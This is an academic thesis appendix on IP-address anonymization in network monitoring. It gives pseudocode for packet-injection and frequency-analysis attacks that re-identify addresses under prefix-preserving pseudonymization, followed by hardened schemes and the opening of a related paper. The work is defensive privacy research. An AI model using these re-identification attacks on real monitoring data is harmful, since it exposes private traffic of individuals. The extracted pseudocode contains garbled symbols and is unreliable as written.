1.2 Reference and Threat Model
We assume an IP network where passive sensors monitor network traffic
and anonymize captured data. The sensors are programmable network
monitoring cards4, which capture high-bandwidth traffic, while perform-
ing mandatory on-board data anonymization. The anonymized network
traces are subsequently made available to other parties.
The main threat is that an adversary acquires private data by reiden-
tifying anonymized network traces. For the purpose of our analysis, we
make the following assumptions:
3 Also referred to as revocable anonymization.
4 Examples of such cards are SCAMPI cards and Endace DAG cards.
Assumption 1 The adversary may access all anonymized monitoring
data from at least one passive sensor.
Assumption 2 The adversary may send forged network traffic with ar-
bitrary source and destination IP addresses.
In other words, the adversary is capable of performing an attack similar
to a cryptographic chosen plaintext attack.
Assumption 3 The adversary has a priori knowledge of the traffic dis-
tribution of the observed network.
This is an assumption similar to that made by Chaum in [1]).
2 Anonymization and Pseudonymization Primitives
There is a fine distinction between anonymization and pseudonymization.
In this section, we will consider some of the most common primitives for
achieving anonymity and pseudonymity.
2.1 Anonymization
Anonymization tries to achieve “the state of being not identifiable within
a set of subjects, the anonymity set” [2]. It may be achieved in several
manners, as shown below.
Data removal implies the irreversible deletion of data. This can be im-
plemented by replacing data with a constant.
Randomization of data usually involves a substitution of sensitive infor-
mation with random information. This provides unlinkability5 between
observations in the same way as data removal.
Generalization is substitution of identifying data with more general data,
so that no individuals may be identified. In our case, one example could
be the substitution of IP-addresses with their respective AS-numbers6.
This preserves network topology, but may fail to provide anonymity in
the cases where an AS-number may be associated with a single user or a
small group.
5 Unlinkability means that “two or more items within a system are no more and no
less related than they are related concerning a-priori knowledge” [2].
6 An Autonomous System (AS) is a collection of IP networks registered by a single
entity. A unique AS-number is associated with each AS for routing purposes.
Truncation is a type of generalization where a fixed number m least
significant bits are deleted, while the others are kept in their original form.
For example, one may keep the most significant 8 bits of the plaintext
IP-address and delete the rest.
2.2 Pseudonymization
In the case of pseudonymization, the actual identity is replaced by an
alternate identity (a pseudonym). The issue of using pseudonymous net-
work monitoring traces is discussed in [3, 4]. Pseudonymization implies
that the process is reversible, in that it may be possible to uniquely iden-
tify plaintext data, given a pseudonym. We have identified the following
types of pseudonymization:
Bijective mappings make pseudonymity possible. A pseudonymous entity
must be uniquely identifiable. This identifiabililty is also a feature that
makes injection attacks possible, where an adversary retrieves address
mappings by sending packets and observing their anonymous versions.
Data permutations are permutations of the identifier language from which
real identities and pseudonyms are drawn. This type of pseudonymization
is reversible for anyone knowing the permutation that has been used.
Cryptographic methods for anonymization of network traces are discussed
in [5–7]. Any cryptographic anonymization scheme is subject to attacks
on the cryptographic algorithms or the key management system.
Hashing can be considered a pseudonymization scheme, although it is
computationally difficult to recover the plaintext data based on a hash
value. The hash value is an “initially unlinkable pseudonym” according
to the definitions in [2]. We consider hashing an IP-address x with a hash
function7 f . One may also consider a hashing scheme where, for a constant
m, the host address x with length n bits is represented by a hash value of
the least significantm bits and the most significant n−m bits respectively.
This will, like truncation, preserve some topology information. However,
the anonymity will be weakened, as the anonymity sets are smaller.
7 We assume that hash functions are preimage resistant, 2nd-preimage resistant, and
collision resistant (see pages 323–324 in [8]).
Keyed hashing addresses a weakness with unkeyed hash functions, such as
MD5 and SHA1, where any adversary can perform the same computations
and build a dictionary for all possible IP addresses. In an experiment, we
computed MD5 hashes for the entire IPv4 address space in a matter of
hours on a modest PC. Such an attack can be prevented by using a keyed
hashing scheme.
3 Prefix-preserving Pseudonymization
An anonymization scheme is prefix-preserving if, for any two plaintext
IP addresses sharing a m-bit prefix, their anonymized versions will also
share a m-bit prefix. The tools TCPdpriv, wide-tcpdpriv, and Crypto-
PAn are examples of prefix-preserving schemes, as discussed in [6, 7].
Prefix-preserving pseudonymization seems suitable for our purpose, as
it preserves network topology. As an example, we will provide a brief
description of TCPdpriv.
Example 1. TCPdpriv stores a set of plaintext and anonymized IP address pairs.
When a new IP address arrives, it is compared with previous plaintext IP addresses
in order to identify the longest prefix match. The new IP address is anonymized by
using the same anonymized prefix as that of its match, whereas the remaining part
of the address is anonymized with a random value. As new pseudonyms are generated
using random values, TCPdpriv is not deterministic, and the pseudonym for a given
IP address will differ between TCPdpriv sessions.
3.1 Cryptographic Prefix-preserving Pseudonymization
Cryptographic prefix-preserving pseudonymization was proposed in [6,
7], and it is an improvement of TCPdpriv in several respects. In par-
ticular, it is deterministic, and it allows both consistent prefix-preserving
pseudonymization across sessions, as well as distributed processing. Cryp-
tographic prefix-preserving pseudonymization uses a cryptographic algo-
rithm rather than a random value. In this way, the pseudonymization is
uniquely determined by the encryption key K. This scheme has been im-
plemented in the tool Crypto-PAn. Some improvements on Crypto-PAn
were proposed in [9].
The form of the anonymization function is (using mostly the notation
of [7]):
F (a)← a′1 · · · a′n, (1)
where a′i = ai ⊕ fi−1 (a1 · · · ai−1) is bit i of the pseudonymized address,
and ai is bit i of the plaintext address. fi−1 is an encryption function,
which takes as input a bitstring of length i− 1, and returns a single bit.
4 Attacking Prefix-preserving Pseudonymization
In this section we consider some weaknesses in prefix-preserving pseudo-
nymization, relevant for both TCPdpriv and Crypto-PAn. We show that
these methods do not provide sufficiently strong pseudonymization, at
least not for IPv4. Based on this, we will present improvements in the
next section.
First note that the set of all IP addresses in use can be represented by
a binary search tree, where each leaf node represents a specific IP address.
Edges are labeled with address bits, the most significant bits closest to
the root node, and the least significant bits on the edges ending in the
leaf nodes themselves.
4.1 Packet Injection Attack
Given our threat model (section 1.2), an adversary can send IP packets
with arbitrary source and destination IP addresses, for example by spoof-
ing IP addresses or sending packets from a variety of places. By forging
a packet header or a traffic pattern in such a way that it is recogniz-
able in its anonymized form, an adversary is able to find an exact match
between an plaintext and an anonymized IP address. This is a general
problem with pseudonymization schemes. The use of repeated messages
for revealing the correspondence between plaintext and anonymized data
is discussed by Chaum in [1] and referred to as flush attacks by Ray-
mond in [10]. The forging of packet headers for reidentification purposes
is related to the message tagging attack described by Raymond in [10].
In the case of prefix-preserving pseudonymization, a successful attack
also reveals information about the prefix for all other addresses with iden-
tical prefixes. Using this, an adversary can build a binary tree mapping
pseudonymized to plaintext IP addresses. For a directed attack, the ad-
versary can build such a binary tree only for selected addresses, such as
IP addresses associated with a specific person or organization.
4.2 Preparing an Injection Attack
If an adversary wants to find the traffic data associated with k specified
IP addresses in a measurement set, there are significant advantages to
be gained by carefully designing the injection patterns. The complexity
one primarily wants to keep to a minimum in this context is “packet
complexity”—the number of packets that need to be successfully injected
in order to reach a particular attack goal. We present the algorithm for
doing this.
The algorithm first constructs a binary search tree for the selected
addresses. Nodes in this tree are capable of storing weights. After con-
structing the tree, it is recursively traversed to sum weights. This is done
so that at each node with two descendants, the weights of each descen-
dant are unbalanced. This allows the use of an algorithm that reveals
addresses efficiently by exploiting the unbalanced weights. The algorithm
makes use of the following composite data structure :
node= begin structure
node ∗a Pointer to ancestor node
node ∗d0 Pointer to left descendant node
node ∗d1 Pointer to right descendant node
integer w Weight
end structure
C-style notation is used, with <type> *<var-name> defining a pointer
of name <var-name> to a variable of type <type>. *<var-name> refers to
the contents of the variable referenced by the pointer. <var-name> refers
to the pointer itself. Assignment has the form <var-name>←<expression>.
Example 2. If t is a pointer to an instantiated node, then ∗t refers to the node, ∗t.a
refers to the pointer to the ancestor node, and ∗(∗t.a) refers to the ancestor node itself.
Algorithm 1 below is used to build a binary search tree for the se-
lected addresses. A more precise version of this pseudocode is given in
appendix A. Algorithm 2 computes weights for each leaf node to ensure
unbalanced packet distribution at all levels, so that algorithm 3 (see sec-
tion 4.3) for probabilistic address matching is guaranteed to terminate
with a correct result when restricted to the tree constructed by algo-
rithm 1. The weight is the number of times an address must occur in
successfully injected packets. More precise versions of algorithms 2 and 3
are given in appendix A.
Pseudocode 1 build-tree(n, k, {Ii}ki=1, b, a)
In: address length8 n, number of addresses k, list of addresses {Ii}ki=1, bit depth b,
pointer a to ancestor node
Out: pointer r to local root node of binary tree
t←pointer to newly allocated node
8 IP addresses contain either n = 32 bits (IPv4) or n = 128 bits (IPv6).
if b = 1 then there is no ancestor, so ∗t.a←NULL
if b < n we are not at the bottom of the tree, so:
split {Ii}ki=1 into h0 with i0 addresses with bit b equal to zero, and
h1 with i1 addresses with bit b equal to one.
∗t.d0 ← build-tree(n, i0, h0, b+ 1, t)
∗t.d1 ← build-tree(n, i1, h1, b+ 1, t)
else if b = n we are at the bottom of the tree, so:
∗t.d0 ← NULL
∗t.d1 ← NULL
∗t.w ← 1
end if
return t
Pseudocode 2 build-weights(t, δ)
In: pointer t to a node in a tree built with build-tree, weight adjustment δ
Out: ∗t.w total weight of traversed and adjusted binary tree under node ∗t
if ∗t.d0 =NULL and ∗t.d1 =NULL then we are at the bottom of the tree, so:
increase the node weight by δ: ∗t.w ← ∗t.w + δ
else if ∗t.d0=NULL and ∗t.d1 6=NULL all descendants are to the right, so:
∗t.w ← build-weights(∗t.d1, δ)
else if ∗t.d0 6=NULL and ∗t.d1=NULL all descendants are to the left, so:
∗t.w ← build-weights(∗t.d0, δ)
else
left← build-weights(∗t.d0, 0)
right← build-weights(∗t.d1, δ)
if left=right then the subtrees are equally weighted, so:
right← build-weights(∗t.d1, 1)
end if
Assign weight of t to sum of weights of subtrees: ∗t.w ←left+right
end if
return ∗t.w
After carrying out this preprocessing, the requisite packets must be
successfully injected, and an anonymized measurement set, including header
information for all these packets, collected. The injected packets are ex-
tracted from the measurement set. It is then possible to run algorithm 3
(see section 4.3) on these packets to reveal the desired addresses in worst-
case time complexity nk′ where n is the address length in bits, and k′ is
the number of successfully injected packets. In general k′ ≥ k/2, where k
is the number of targeted addresses.
Finally note that these algorithms are designed for a scenario where
k ¿ 2n. If k is of the same magnitude as 2n, so that the adversary is
attempting to find the plaintext versions of all anonymized addresses,
other approaches are likely to be more efficient. In other words, the at-
tack we have described is a general system attack for prefix-preserving
pseudonymization algorithms, where a given address a always has only
one pseudonym a′.
4.3 Frequency Analysis
A comprehensive overview of traffic analysis issues was given by Ray-
mond in [10]. In this section, we discuss a type of traffic analysis based
on the assumption that the adversary has a priori knowledge of the traf-
fic distribution of the observed network. If an adversary a priori knows
the traffic distribution relative to the address space, then it is possible
to efficiently attack prefix-preserving pseudonymization and compromise
selected addresses or subnets. We call this attack frequency analysis.
Denote by pα the probability that a packet has an address with prefix
α. The attack assumes the following:
1. The adversary knows all pα for the network.
2. The measurements are protected by the same primary pseudonym-
ization key, so that each address has only one pseudonym.
Denote by λ the empty string. Denote by “αβ” the string concate-
nation of the string α with β. Denote by |α| the length of bitstring α.
Denote by pαβ|α the probability that an address has a prefix αβ, given
that it has a prefix α. Denote by ⊕ the bitwise exclusive-or operator.
Pseudocode 3 frequency-analysis(n, {pη}η∈{0,1}n , {νi}2mi=1, ω)
In: address length n in bits, the relative frequency pη at which a prefix η occurs in net-
work traffic, IP addresses {νi}2mi=1 encrypted with prefix-preserving pseudonymization
taken from a measurement set consisting of m packets with in all 2m addresses, the
plaintext address ω whose traffic data is of interest
Out: a “decryption key” κ for the pseudonym for ω
set α and κ to the empty string λ
for all i from 1 to n do:
initialize number of messages with bit i set to 0: m0 ← 0
initialize number of messages with bit i set to 0: m1 ← 0
for all j from 1 to m do:
if α⊕ κ is a prefix of νj then
increment mbit number i from the source address
end if
end for
compute the square q0 of the difference between pα0|α and
m0
m0+m1
compute the square q′0 of the difference between pα0|α and
m1
m0+m1
if q0 < q
′
0 then
κ← κ0
else
κ← κ1
end if
append bit i of ω to α
end for
return κ
The pseudonymized address is thus κ ⊕ ω. The above algorithm has
a worst-case running time of O(nm), assuming that bitstring comparison
can be done in a constant number of operations. It is not guaranteed to
reach a correct conclusion, especially if there is little difference between
prefix probabilities for each possible node (that is: pα0|α ≈ pα1|α).
If this algorithm is used in conjunction with the injection attack de-
scribed in section 4.1, it is possible to restrict the algorithm to the con-
structed binary search tree, and compute all pηs using the weights in that
tree. Finally, note that algorithms 1–3 can be applied to packets pseudo-
nymized with any prefix-preserving pseudonymization system, including
TCPdpriv and Crypto-PAn.
5 Strengthening Pseudonymization
The proposed strengthening bases itself on the assumption that the most
interesting measurements are carried out on traffic between two parties
A and B. Thus identifying individual nodes is not imperative per se´.
Rather the identification of pairs of addresses is imperative. It is therefore
possible to apply a hash or encryption function f to the concatenation of
source and destination address. Denote by a the address of A, and by b
the address of B.
5.1 Improving Prefix-preserving Pseudonymization
In this section, we show how prefix-preserving pseudonymization schemes
can be strengthened. The strengthening is provided as pseudocode 4, and
a more precise version is given in appendix A.
The strengthening exploits the fact that it rarely is necessary to release
all topological information. Denote by a the source address, and b the
destination address. First of all, applications using traffic measurements
often need only parts of the topological information. Second, it may be
desirable to allow the regulated release of topological information as a
differentiating factor to satisfy legal or business requirements. One way
of doing this is to permute the bits of encrypted addresses. This removes
any visible structure, but it does so in a reversible manner. This can be
expressed as follows:
F(a1 · · · an) = a′g(1) · · · a′g(n), (2)
where g : {1, . . . , n} −→ {1, . . . , n} is a permutation. It is possible to
apply this permutation to the concatenation of source and destination
addresses simultaneously.
Pseudocode 4 hardened-pseudonymization-1(n, a, b, g, F )
In: address length n in bits, source address a destination addresse b, a permutation
function g : {1, . . . , 2n} −→ {1, . . . , 2n}, a prefix-preserving pseudonymization function
F
Out: two n-bit blocks a′ and b′ replacing the plaintext addresses a and b respectively.
if a lexicographically precedes b
apply prefix-preserving pseudonymization F to a to get ca
apply prefix-preserving pseudonymization F to b to get cb
s← 0
else
apply prefix-preserving pseudonymization F to a to get cb
apply prefix-preserving pseudonymization F to b to get ca
s← 1
end if
concatenate ca and cb to get c
permute the pseudonymized bits: r ← cg(1) · · · cg(2n)
a′ ← first n bits of r
b′ ← last n bits of r
return a′, b′, s
By employing an injection attack, and repeating frequency analysis
with different bits to find a best match, the hardened pseudonymization
of algorithm 4 could still be broken in polynomial time, with at worst
O(n3k) steps. This is done by first trying to identify imbalances in bit
distributions bit-by-bit using the data in the constructed search tree,
using a modified frequency analysis algorithm. This has to be done 2n+
2n − 1 + . . . + 1 times: O(n2) times. Frequency analysis costs O(nk), so
O(n3k) in all. Thus, this does still not provide the degree of protection
we desire.
Another improvement is obtained by encrypting as large blocks as
possible in one go, while still offering the opportunity to release prefix-
preserving pseudonymized address data, if necessary. This can be achieved
by splitting addresses into a series of l blocks, each block wi bits in length.
w1 is the most significant block, and wl the least significant block. Block
l from source and destination are concatenated and encrypted, produc-
ing rl. Block l−1 from source and destination are concatenated, and then
concatenated with rl. This is then encrypted, producing rl−1. This con-
tinues, until block 1 from source and destination are concatenated along
with r2, and all 2n bits encrypted. This is the essence of algorithm 5,
given as pseudocode 5 below, and algorithm 5 in appendix A.
Pseudocode 5 hardened-pseudonymization-2(n, a, b, l, {wi}li=1, e, F )
In: address length n in bits, source address a, destination address b, the number l of
sub-blocks, a list {wi}li=1 of sub-block lengths such that
∑l
i=1
wi = n, a keyed block en-
cryption function ek, that encrypts k-bit blocks, a prefix-preserving pseudonymization
F
Out: two n-bit blocks a′ and b′ replacing the plaintext addresses a and b, one bit s
indicating whether a lexicographically precedes b or not
if a lexicographically precedes b
apply prefix-preserving pseudonymization F to a to get c
apply prefix-preserving pseudonymization F to b to get d
s← 0
else
apply prefix-preserving pseudonymization F to a to get d
apply prefix-preserving pseudonymization F to b to get c
s← 1
end if
i← l
while i > 0 do:
p← p− wi
encrypt the concatenation of bits p+ 1, . . . , p+ wi of c and d with
the last n− p bits from any previous encryption, if any with en−p
i← i− 1
end for
call the resulting cryptotext block r
a′ ← first n bits of r
b′ ← last n bits of r
return a′, b′, s
Algorithm 5 encrypts successively longer concatenations of correspond-
ing blocks from source and destination addresses. Thus, each header is
now coupled to both addresses in a communication. The adversary now
sees all pseudonymized pairs.
The adversary is trying to identify the pseudonyms for a list of target
addresses {Ii}ki=1. Since we assume that our injected packets are always
recognizeable somehow, the adversary can extract the set of injected pack-
ets in their anonymized form. Assuming that all injected packets are in
the trace, they can also be sorted in the weighted tree. The adversary
can now identify some address pairs (Ii, Ij) or (Ij , Ii). The adversary is
now able to identify selected sessions between two target addresses. The
adversary cannot, however, recognize any single IP address in general.
Suppose the adversary wants to pick out all pseudonymized packets
containing the IP address a in their headers. This assumption implies that
the actual “set of interest” is {a}. To find all packets containing a, the
adversary must generate all possible lexicographically sorted pairs (a, b)
and (b, a) of ip addresses, where b is an IP address. This set can then be
sorted in a binary search tree. The “set of interest” now contains 2n−1
elements, and the length of the elements is not n anymore, but 2n. This
results in two problems.
1. The number of packets required to mount an injection attack in con-
junction with traffic analysis has become excessive: the adversary must
expect that the injections will be noticed. This can be mitigated by
executing a distributed injection attack. Of course, there is then the
problem of collecting sufficient logs to carry out a subsequent analysis.
2. Even though a search tree has been constructed, only 2p out of 2n bits,
1 ≤ p ≤ n, are tractably deducible. The rest have been encrypted with
a strong block cipher, and should not be deducible using the type of
analysis presented here.
5.2 Strengthening the Anonymization of Two-way Sessions
Using Hash Functions
One method of IP-address anonymization is hashing of IP addresses (see
also subsection 2.2), which can be done for a large set of distributed
measurement sites without any coordination between the sites. A crypto-
graphically strong hash or encryption function f is applied to a (possibly
padded) n-bit IP address, and retains the last w bits of the result. Usu-
ally w = n to exploit available address fields to their fullest. This yields a
unique identifier, that can be computed by any node. One limiting factor
with respect to the security of such an anonymization, is the number of
bits in an address: n.
Since f operates on ab (the concatenation of a and b’s addresses), 2n
bits of f ’s output must be retained. The scheme is presented in pseu-
docode 6.
Pseudocode 6 block-anonymization(n, a, b, f)
In: address length in bits n, source address a, destination address b, cryptographically
strong hash function f generating output at least 2n bits long, or keyed encryption
function f with blocklength 2n
Out: two n-bit blocks a′ and b′ replacing the plaintext addresses a and b, respectively.
One bit s indicating whether a lexicographically precedes b or not.
a lexicographically precedes b; s = 0
source destination
a b
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
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Fig. 1. Illustration of block anonymization shows how it provides bidirectional traffic
with a unique hashed identifier, which is equal for both directions.
if a lexicographically precedes b
return last 2n bits of f(ab) as two n-bit bitstrings, along with s = 0
else
return last 2n bits of f(ba) as two n-bit bitstrings, along with s = 1
end if
A more precise version of pseudocode 6 is given in appendix A. The
use of a key or initialization vector or both is implicit. Since a′ and b′ do
not change if the packet’s direction between A and B changes, s is used to
keep track of the packet direction. If s = 0, then a′ contains the source’s
half of the hash and b′ the destination’s half of the hash. If s = 1, then
a′ contains the destination’s half of the hash, and b′ the source’s half.
The sheme ensures that packets sent between two specific addresses
a and b have identical source and destination fields irrespective of packet
direction. Packet direction is determined using s. If f is a block cipher,
the plaintext addresses can be recovered with the correct key.
The single bit of plaintext search space lost through lexicographical
ordering is insignificant. The net effect is to increase the size of the plain-
text search space by a factor of 2n−1, and presumably the time complexity
of cryptographic attacks (such as the birthday attack) is increased by a
factor of approximately 2(n−1)/2.
6 Conclusions
We have given a brief analysis of some functionally appropriate candidates
for anonymization in a passive monitoring infrastructure.
Hashing of IP-addresses preserves linkability and the uniqueness of
addresses, but it does not provide topological information. There are con-
cerns that the short length of IPv4 addresses exposes IP address hashes
to brute-force attacks. We have proposed a way of strengthening such
hashes, while retaining their usefulness for session-oriented analysis. The
scheme can be made reversible, depending on the parameter selection.
The scheme increases plaintext search space by a factor of 2n−1, and thus
resistance to collisions by a factor of approximately 2(n−1)/2.
Prefix-preserving pseudonymization, such as Crypto-PAn, preserves
information about the network topology. This is desirable for network
research and operational applications. We have provided three algorithms
for attacks which, using packet injection and frequency analysis, enable
an adversary to compromise individual addresses in multilinear time.
To address these vulnerabilities, we present two algorithms that pro-
vide additional resistance against our attacks. they can be viewed as
wrappers “around” the current prefix-preserving algorithms, providing
literally an additional layer of protection. Both algorithms can be made
reversible.
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A Algorithms
This section contains a more precise description of the pseudocode algo-
rithms presented in the main body of this article.
Algorithm 1 constructs a binary search tree for a selected list of IP
addresses.
Algorithm 1 build-tree(n, k, {Ii}ki=1, b, a)
In: n address length in bits
k number of targeted addresses
{Ii}ki=1 indexed list of addresses
b bit depth
a pointer to ancestor node
Out: r pointer to local root node of the constructed binary tree
t←pointer to new allocated node
if b = 1 then
∗t.a←NULL
end if
i0 ← 0
i1 ← 0
h(0, )← () h is a local two-dimensional array
h(1, )← () Before using h, it must be emptied
if b < n then
i← 0
while i < k do:
f ←bit number b in li
if f = 0 then
i0 ← i0 + 1
else
i1 ← i1 + 1
end if
h(f, if )← Iif
end while
∗t.d0 ← build-tree(n, i0, {h(0, i)}i0i=1, b+ 1, t)
∗t.d1 ← build-tree(n, i1, {h(1, i)}i1i=1, b+ 1, t)
else if b = n then
∗t.d0 ←NULL
∗t.d1 ←NULL
weight← 1
end if
return t
Algorithm 2 takes a binary search tree, and assigns weights to each
node such that left descendants always have less weight than right de-
scendants.
Algorithm 2 build-weights(t, δ)
In: t pointer to a node in a tree built with build-tree
δ weight adjustment
Out: ∗t.w total weight of traversed and adjusted binary tree under node ∗t
if ∗t.d0 =NULL and ∗t.d1 =NULL then
∗t.w ← ∗t.w + δ
else if ∗t.d0 =NULL and ∗t.d1 6=NULL then
∗t.w ← build-weights(∗t.d1, δ)
else if ∗t.d0 6=NULL and ∗t.d1 =NULL then
∗t.w ← build-weights(∗t.d0, δ)
else
left← build-weights(∗t.d0, 0)
right← build-weights(∗t.d1, δ)
if left=right then
right← build-weights(∗t.d1, 1)
end if
∗t.w ←left+right
end if
return ∗t.w
Algorithm 3 takes occurrence probabilites for IP addresses, and ex-
tracts a sort of “decryption” key for addresses protected with prefix-
preserving anonymization techniques.
Algorithm 3 frequency-analysis(n, {pη}η∈{0,1}n , {νi}2mi=1, ω)
In: n address length in bits, 32 for IPv4, 128 for IPv6
pη the relative frequency at which a prefix η occurs in the traffic
{νi}2mi=1 IP addresses encrypted with prefix-preserving pseudonymization
taken from a measurement set consisting of m packets with
in all 2m addresses
ω the address whose traffic data is of interest
Out: κ a “decryption key” for the encrypted representation of ω
α← λ
κ← λ
i← 0
while i < n do:
i← i+ 1
m0 ← 0
m1 ← 0
j ← 0
while j < m do:
if α⊕ κ is a prefix of νj then
k ←bit number i from the source address
mk ← mk + 1
end if
end while
q0 ← (pα0|α −m0/(m0 +m1))2
q′0 ← (pα0|α −m1/(m0 +m1))2
if q0 < q
′
0 then
κ← κ0
else
κ← κ1
end if
append bit i of ω to α
end while
return κ
Algorithm 4 employs a permutation of bits to increase the cost of de-
ducing address bits from addresses pseudonymized with prefix-preserving
pseudonymization.
Algorithm 4 hardened-pseudonymization-1(n, a, b, g, F )
In: n address length in bits
a, b source and destination addresses, respectively
g a permutation function {1, . . . , 2n} −→ {1, . . . , 2n}
F a prefix-preserving pseudonymization function
Out: a′,b′ two n-bit blocks replacing the plaintext addresses a and b,
respectively.
if a lexicographically precedes b
apply prefix-preserving pseudonymization F to a to get ca
apply prefix-preserving pseudonymization F to b to get cb
s← 0
else
apply prefix-preserving pseudonymization F to a to get cb
apply prefix-preserving pseudonymization F to b to get ca
s← 1
end if
c← cacb
r ← cg(1) · · · cg(2n)
a′ ← first n bits of r
b′ ← last n bits of r
return a′, b′, s
Algorithm 5 employs strong encryption in conjunction with a con-
catenation scheme to both increase the effective plaintext space, and
strengthen prefix-preserving pseudonymization.
Algorithm 5 hardened-pseudonymization-2(n, a, b, l, {wi}li=1, ek, F )
In: n address length in bits
a, b source and destination addresses, respectively
l number of sub-blocks
{wi}li=1sub-block lengths such that
∑l
i=1
wi = n
ek keyed block encryption function that encrypts k-bit blocks
F a prefix-preserving pseudonymization function
Out: a′,b′ two n-bit blocks replacing the plaintext addresses a and b,
respectively
s one bit indicating whether a lexicographically precedes b or not
if a lexicographically precedes b
apply prefix-preserving pseudonymization F to a to get c
apply prefix-preserving pseudonymization F to b to get d
s← 0
else
apply prefix-preserving pseudonymization F to a to get d
apply prefix-preserving pseudonymization F to b to get c
s← 1
end if
i← l
p← n
while i > 0 do:
p← p− wi
ri ← en−p(cp+1 · · · cp+widp+1 · · · dp+wiri+1 · · · rl)
i← i− 1
end while
a′ ← first n bits of r
b′ ← last n bits of r
return a′, b′, s
Algorithm 6 employs a concatenation scheme that increases the ef-
fective plaintext space. This increases the time complexity of birthday
attacks by a factor of approximately 2(n−1)/2, where n is the address
length in bits.
Algorithm 6 block-anonymization(n, a, b, f)
In: n address length in bits, 32 for IPv4, 128 for IPv6
a, b source and destination addresses, respectively
f cryptographically strong hash function generating output at least
2n bits long, or keyed encryption function with blocklength 2n
Out: a′,b′ two n-bit blocks replacing the plaintext addresses a and b,
respectively.
s one bit indicating whether a lexicographically precedes b or not.
if a lexicographically precedes b
c← ab
s← 0
else
c← ba
s← 1
end if
r ← last 2n bits of f(c)
a′ ← first n bits of r
b′ ← last n bits of r
return a′, b′, s
B Anonymization and Pseudonymization Tools
The authors of this article have looked into several tools for IP traffic
anonymization. Some of these tools are listed in the following table.
Tool URL
Sanitize [11] http://ita.ee.lbl.gov/html/contrib/sanitize.html
ip2anonip http://dave.plonka.us/ip2anonip/
tcpdpriv [6, 7] http://ita.ee.lbl.gov/html/contrib/tcpdpriv.html
wide-tcpdpriv [12] http://tracer.csl.sony.co.jp/mawi/
Crypto-PAn [6, 7] http://www.cc.gatech.edu/computing/Telecomm/cryptopan/
Table 1. Network trace anonymization tools
Appendix H
CCN 2005 Paper
This appendix contains a copy of the paper “Circumventing IP-Address Pseudo-
nymization” by Tønnes Brekne and Andre´ A˚rnes [A21]. The paper was presented
at the IASTED Conference on Communication and Computer Networks (CCN) in
Marina del Rey, Los Angeles, USA, 2005.
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ABSTRACT
This paper presents an attack that circumvents anonymiza-
tion of IP addresses in IP network traffic data in O(n2)
time, or O(n) time under certain circumstances. The
attack is based on packet injection, and circumvents all
anonymization techniques that assign a static and unique
pseudonym to an IP address. It turns out that the packet
injection itself, as well as the extraction of the correspond-
ing anonymized header data, are the most time-consuming
steps.
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1 Introduction
This paper presents an attack against anonymized IP ad-
dresses in passive monitoring data. The attack works
against all anonymization systems where each IP address
has a constant and unique anonymized value (pseudonym).
This work was done while examining candidate solutions
for anonymization of passive monitoring data in the con-
text of the LOBSTER1 and SCAMPI2 projects.
Passive measurement of IP networks collect real traf-
fic data containing private and confidential information.
Since such data can reveal corporate or personal habits,
they should ideally be anonymized as far as possible. In
many jurisdictions, such protection is required by law. Ef-
fective anonymization, however, tends to render informa-
tion on network structures unusable for most analysis ap-
plications. Thus there is a case for providing configurable
anonymization, as an adjustable compromise between two
extremes. Furthermore, law enforcement applications may
impose a requirement that anonymization schemes be revo-
cable.
In [3] we demonstrated how prefix-preserving
pseudonymization of IP addresses in passive IP traffic
∗The Centre for Quantifiable Quality of Service in Communication
Systems, is a Centre of Excellence appointed by the Research Council of
Norway, and funded by the Research Council, NTNU and UNINETT.
1LOBSTER is a pilot European Infrastructure for large-
scale monitoring of broadband Internet infrastructure, see
http://www.ist-lobster.org/.
2SCAMPI is a EU project for creating a scalable and
programmable monitoring platform for the Internet, see
http://www.ist-scampi.org/.
measurements could be attacked efficiently in the pres-
ence of an active adversary. We proceeded to strengthen
prefix-preserving schemes against such attacks and pre-
sented a method for strengthening hash-based IP address
anonymization. We subsequently developed the attack pre-
sented in this paper, which is a more general attack that also
compromises our strengthened anonymization techniques.
The attack is a special case of the cryptographic chosen-
plaintext attack, as applied to network monitoring pseudo-
nymization schemes.
2 Background on Anonymization and
Pseudonymization
There is a fine distinction between anonymization
and pseudonymization. In this section, we present
some common primitives for achieving anonymity and
pseudonymity.
2.1 Anonymization
Anonymization tries to achieve “the state of being not iden-
tifiable within a set of subjects, the anonymity set” [9].
There are several ways of achieving this goal.
Data removal is the irreversible deletion of data, often
done through replacing data with a constant or random
value. One special case, known as truncation, is to replace
part of a value by a constant.
Randomization is the substitution of sensitive informa-
tion with random information. This provides unlinkability3
between observations.
Generalization is the substitution of identifying data
with less specific data, so that identifying individuals be-
comes harder. One example is the substitution of IP-
addresses with their respective AS-numbers4. This pre-
serves network topology, but the anonymity provided is
3Unlinkability means that “two or more items within a system are no
more and no less related than they are related concerning a priori knowl-
edge” [9].
4An Autonomous System (AS) is a collection of IP networks registered
by a single entity. A unique AS-number is associated with each AS for
routing purposes.
limited by the number of users associated with the AS-
numbers in question.
2.2 Pseudonymization
Pseudonymization is the replacement of the actual iden-
tity by an alternate identity (a pseudonym). The use of
pseudonymous network monitoring traces is discussed by
Biskup and Flegel in [2] and by Sobirey, Fischer-Hu¨bner,
and Rannenberg in [13]. Some common primitives for
achieving pseudonymization are given below.
Bijective mappings make pseudonymity possible. A
pseudonym must be uniquely identifiable. This identifia-
bility is the feature that makes the attack presented in this
paper possible.
Cryptographic methods for anonymization of network
traces are discussed in [14, 15, 8]. Note that any crypto-
graphic anonymization scheme is subject to attacks on the
cryptographic algorithms and the key management system.
Hashing employs surjective functions to produce data
with constant length. In practice they can be applied to pro-
vide a pseudonymization scheme as defined above. Strictly
speaking, they cannot in general be considered pseudony-
mous, since there is the possibility for collisions. However
in the context of IP addresses, this possibility is usually
considered negligible, if the hash function is preimage re-
sistant, 2nd-preimage resistant, and collision resistant (see
pages 323-324 in [7]).
Keyed hashing addresses a weakness with unkeyed hash
functions, where any adversary can perform the same com-
putations and build a dictionary for all possible IP ad-
dresses. In an experiment, we computed MD5 hashes for
the entire IPv4 address space in a matter of hours on a reg-
ular PC. Such an attack is prevented by using a keyed hash-
ing scheme.
2.3 Related Work
Much of the early work in anonymization was related to
solving the problem of traffic analysis. Two solutions to
this problem was published by Chaum in 1981 [4] and
1988 [5], called mix networks and dc networks respec-
tively. Similarly, there has been an ongoing effort to
improve traffic analysis methodologies in order to com-
promise such networks. Raymond [11] has provided an
overview of existing traffic analysis research. Another
overview, with a proposal for terminology for the field
of anonymity, was published by Pfitzmann and Koehn-
topp [9].
The problem of anonymizing IP traffic monitoring
data differs from the above mentioned problem of design-
ing traffic analysis resistant networks in that the underly-
ing network traffic in question generally is not protected
against traffic analysis. As a consequence, the anonymiza-
tion method of the monitoring system has to provide the
necessary protection, while still keeping the necessary data
for the monitoring applications. In [3] we studied prefix-
